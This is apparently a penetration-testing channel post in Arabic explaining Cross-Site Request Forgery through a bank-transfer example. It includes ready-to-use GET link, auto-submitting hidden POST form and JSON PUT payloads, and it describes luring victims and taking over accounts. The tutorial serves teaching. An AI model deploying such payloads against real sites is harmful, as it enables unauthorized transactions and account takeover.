Project Sigma - Advanced PT

Cross-Site Request Forgery
CSRF
أو تسمى أحياناً
XSRF
Cross-Site Reference Forgery
Session Riding
Hostile Linking
Sea Surf

هو نوع من الهجمات التي تنفذ من ناحية العميل Client-Side attack والتي تسمح بإرسال طلبات محددة إلى السيرفر من جهاز العميل .. وذلك عن طريق دفعه إلى الضغط على رابط محدد ( عن طريق الهندسة الاجتماعية ) .. هذا الرابط مصمم بطريقة تسمح بإرسال طلب من جهاز الضحية .. مثال:
لنفرض أن لدينا موقع بنك مثلاً .. ولنفرض أن mark لديه حساب وأراد تحويل رصيد إلى حساب john .. عند تحديد الرصيد الذي يريد إرساله (100$) واسم الحساب الذي يريد التحويل إليه john وضغط زر التحويل لاحظ أن الرابط أصبح

http://bank.com/transfer.php?to=john&amount=100

الآن إذا قام بتعديل الرابط إلى

http://bank.com/transfer.php?to=mark&amount=100000

وإرسال الرابط إلى john وإقناعه بالضغط عليه .. سيتم تحويل 100 ألف دولار إلى رصيد mark من حساب john .. وهذا مبدأ الهجوم .. حيث أن موقع البنك لن يعرف إذا كان هذا الطلب حقيقياً أو مزوراً لأن الطلب تم إرساله بشكل طبيعي من الجهاز والكوكيز نفسها موجودة في الطلب ( لأن الضحية كان قد سجل الدخول إلى الموقع مسبقاً )

هناك عدة أنواع لهجمة CSRF :
أولاً عن طريق طلبات GET وهي التي تحدثنا عنها الآن .. مثلاً

http://bank.com/transfer.php?to=attacker_account&amount=100000

ثانياً عن طريق طلبات POST مثل

<body onload='document.forms[0].submit()'>
<form action='http://bank.com/transfer.php' method='POST'>
<input type='hidden' name='to' value='mark'>
<input type='hidden' name='amount' value='100000'>
<input type='submit' value='click this button to win something ....'>
</form>

أو عن طريق الJSON

<body onload="send_req()">
<script language='javascript'>
function send_req() {
  var x = new XMLHttpRequest();
  x.open("PUT","http://bank.com/transfer.php",true);
  x.setRequestHeader("Content-Type", "application/json"); 
  x.send(JSON.stringify({"to":"mark", "amount":100000})); 
}
</script>

الآن يمكننا وضع أحد الأكواد السابقة في صفحة وإرسال الرابط إلى الضحية وإقناعه بالضغط عليه .. فبمجرد الضغط عليه سيتم إرسال الطلب إلى السيرفر وسيتم تحويل الرصيد .. يمكن مثلاً استخدام هذه الطريقة لتغيير البريد الالكتروني للحساب ومن ثم اختراق حساب الضحية إذا كان مستخدماً عادياً ... أما إذا كان من إدارة الموقع فيمكن اختراق الموقع بأكمله

#ProjectSigmaTeam

1.07K viewsedited 18:55